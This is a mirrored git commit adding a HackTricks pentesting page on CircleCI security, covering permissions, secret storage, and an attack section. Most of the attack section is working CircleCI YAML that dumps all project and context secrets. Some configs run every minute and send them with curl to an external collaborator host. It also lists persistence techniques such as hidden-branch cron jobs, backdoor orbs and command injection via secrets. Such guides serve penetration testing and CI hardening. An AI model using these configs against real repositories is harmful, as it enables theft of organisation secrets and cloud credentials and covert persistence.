mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-02 15:59:58 -08:00
Migrate to using mdbook
This commit is contained in:
255
src/pentesting-ci-cd/circleci-security.md
Normal file
255
src/pentesting-ci-cd/circleci-security.md
Normal file
@@ -0,0 +1,255 @@
|
||||
# CircleCI Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
|
||||
#### Built-in env variables
|
||||
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
||||
#### Context Secrets
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
|
||||
### Attacks
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user